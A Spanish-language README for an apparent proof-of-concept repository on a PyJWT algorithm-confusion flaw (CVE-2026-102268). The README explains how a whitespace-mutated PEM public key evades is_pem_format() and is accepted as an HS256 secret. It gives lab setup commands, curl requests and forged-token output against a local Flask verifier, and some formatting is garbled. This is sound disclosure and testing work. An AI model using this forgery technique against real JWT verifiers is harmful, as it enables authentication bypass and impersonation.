
PoC de explotabilidad para CVE-2026-102-268 (omisión de detección de PEM asimétrico en PyJWT).
Resultado del análisis de explotabilidad: la causa raíz está confirmada y la explotación de extremo a extremo es reproducible. Una clave pública PEM mutada con espacios en blanco elude la comprobación
is_pem_format()de PyJWT y se acepta como un secreto HMAC válido, lo que permite la falsificación completa de tokens HS256 contra cualquier verificador que incluyaRS256junto conHS256en su lista de algoritmos permitidos. Consulte Análisis para más detalles.
CVE-2026-102268 es una vulnerabilidad de confusión de algoritmos en PyJWT. Antes de usar cualquier clave como secreto HMAC, HMACAlgorithm.prepare_key() llama a is_pem_format() para rechazar claves que parezcan una clave asimétrica o un certificado codificado en PEM — la defensa estándar contra ataques de confusión RS256/HS256.
is_pem_format() es una única expresión regular que exige una adyacencia exacta de \r?\n entre el cuerpo de la clave y los marcadores BEGIN/END. El propio cargador PEM de cryptography no tiene tal requisito. Un archivo PEM con espacios en blanco adyacentes a los marcadores, terminadores de línea solo CR, o plegado en una sola línea, es analizado como una clave perfectamente válida por cryptography.load_pem_public_key(), mientras que is_pem_format() devuelve False sobre los mismos bytes idénticos.
La consecuencia: la protección de clave asimétrica nunca se activa, la clave pública se acepta como secreto HMAC, y cualquiera que posea esa clave pública — que es pública por definición — puede acuñar un token HS256 válido para cualquier verificador que incluya tanto RS256 como HS256 en su lista de algoritmos permitidos.
Este repositorio contiene un verificador Flask mínimo y una clave de reproducción para confirmar esa afirmación de extremo a extremo.
| Rango afectado | Corregido en |
|---|---|
| < 2.14.0 | 2.14.0 |
La comprobación vulnerable en jwt/utils.py (todas las versiones anteriores a 2.14.0):
# jwt/utils.py — vulnerable
_PEM_RE = re.compile(
b"----[- ]BEGIN ("
+ b"|".join(_PEMS)
+ b""")[- ]----\r?
.+?\r?
----[- ]END \1[- ]----\r?\n?"""
)
def is_pem_format(key: bytes) -> bool:
return bool(_PEM_RE.search(key))
Condicionando a ella, en jwt/algorithms.py:
# jwt/algorithms.py — HMACAlgorithm.prepare_key()
if is_pem_format(key) or is_ssh_key(key):
raise InvalidKeyError(
"The specified key is an asymmetric key or x509 certificate and"
" should not be used as an HMAC secret."
)
Los separadores [- ] de la expresión regular solo toleran un único guion o espacio directamente adyacente a los guiones del marcador. Cualquier otro espacio en blanco situado entre el salto de línea final del cuerpo de la clave y el marcador END — una indentación, un \r suelto, una sola línea re-envueltas — hace que la coincidencia falle, por lo que is_pem_format() informa False sobre un archivo que cryptography analiza sin quejarse.
La corrección (commit 8b4e233, publicada en 2.14.0) reemplaza la expresión regular por un escáner de una sola pasada sobre el conjunto de marcadores BEGIN/END soportados que no depende de la adyacencia exacta de saltos de línea — cerrando este bypass y, en el mismo cambio, un ReDoS relacionado en la misma función (CVE-2026-102270).
public_key.pem en este repositorio es una clave pública RSA ordinaria de 2048 bits con un solo cambio: la línea -----END PUBLIC KEY----- está indentada con cuatro espacios.
1wIDAQAB
-----END PUBLIC KEY-----
openssl rsa -pubin -in public_key.pem -text -noout # parses cleanly, no warning
Ejecutar utils.py confirma el bypass directamente contra la biblioteca, independientemente de la aplicación Flask:
$ python utils.py
JWT encoded successfully: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
JWT decoded successfully: {'some': 'payload'}
jwt.encode(..., PUBLIC_KEY, algorithm="HS256") tiene éxito. En un PyJWT parcheado (≥ 2.14.0), esta misma llamada lanza InvalidKeyError — is_pem_format() marca correctamente el archivo como una clave PEM independientemente de la indentación, y la ruta HMAC lo rechaza. Aquí, no lo hace: la indentación de cuatro espacios es suficiente para que la expresión regular no coincida, y los bytes de la clave pública se aceptan como un secreto HMAC ordinario.
app.py reproduce la precondición del mundo real — un verificador cuya lista de algoritmos permitidos mezcla el algoritmo asimétrico y el simétrico:
decoded_payload = jwt.decode(token, key=PUBLIC_KEY, algorithms=["RS256", "HS256"])
Un token falsificado con el enfoque de utils.py, enviado a /verify, es aceptado: /verify devuelve 200 y las claims falsificadas, para un token que nadie que posea la clave privada firmó jamás.
cve-2026-102268-poc/
├── Dockerfile # Python 3.9-slim, installs PyJWT==2.4.0 (vulnerable)
├── podman-compose.yaml # Single-service compose for the verifier
├── requirements.txt # Flask, Werkzeug, PyJWT==2.4.0
├── app.py # Flask /verify route — algorithms=["RS256","HS256"]
├── utils.py # Standalone PoC: signs + verifies HS256 with PUBLIC_KEY
├── public_key.pem # RSA public key, END marker indented by 4 spaces
└── README.md
| Herramienta | Versión | Notas |
|---|---|---|
| Podman | ≥ 4.0 | Docker también funciona |
| Python | ≥ 3.9 | Solo para ejecutar utils.py localmente |
| curl | cualquiera | Para ejercitar /verify directamente |
podman-compose up -d
Espere unos segundos, luego confirme que el servicio está activo:
curl -si http://localhost:8080/verify -X POST \
-H 'Content-Type: application/json' -d '{}' | head -1
# Expected: HTTP/1.1 400 (missing token, but the service is reachable)
python utils.py
Esto firma {"some": "payload"} con public_key.pem usando HS256 e imprime el JWT resultante — la primitiva de falsificación. Copie el token codificado.
curl -s http://localhost:8080/verify \
-H 'Content-Type: application/json' \
-d '{"token": "<forged-jwt-here>"}'
podman-compose down
Repita el paso 2 con PyJWT>=2.14.0 instalado en lugar del 2.4.0 fijado en requirements.txt. jwt.encode() lanza InvalidKeyError antes de que se produzca un token.
============================================================
CVE-2026-102268 — PyJWT Asymmetric-PEM Detection Bypass PoC
============================================================
Key : public_key.pem (RSA public key, END marker indented)
Target : http://localhost:8080/verify
------------------------------------------------------------
[1] Signing forged token with PUBLIC_KEY as HS256 secret...
[+] JWT encoded successfully:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9...